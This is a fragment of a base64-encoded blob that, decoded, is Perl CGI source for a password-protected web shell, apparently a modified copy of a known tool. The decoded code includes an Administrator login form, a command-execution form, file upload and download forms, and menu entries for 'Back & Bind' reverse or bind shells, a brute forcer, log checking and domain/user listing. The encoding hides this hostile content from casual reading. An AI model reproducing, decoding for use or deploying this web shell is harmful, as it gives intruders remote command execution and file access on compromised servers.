FuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL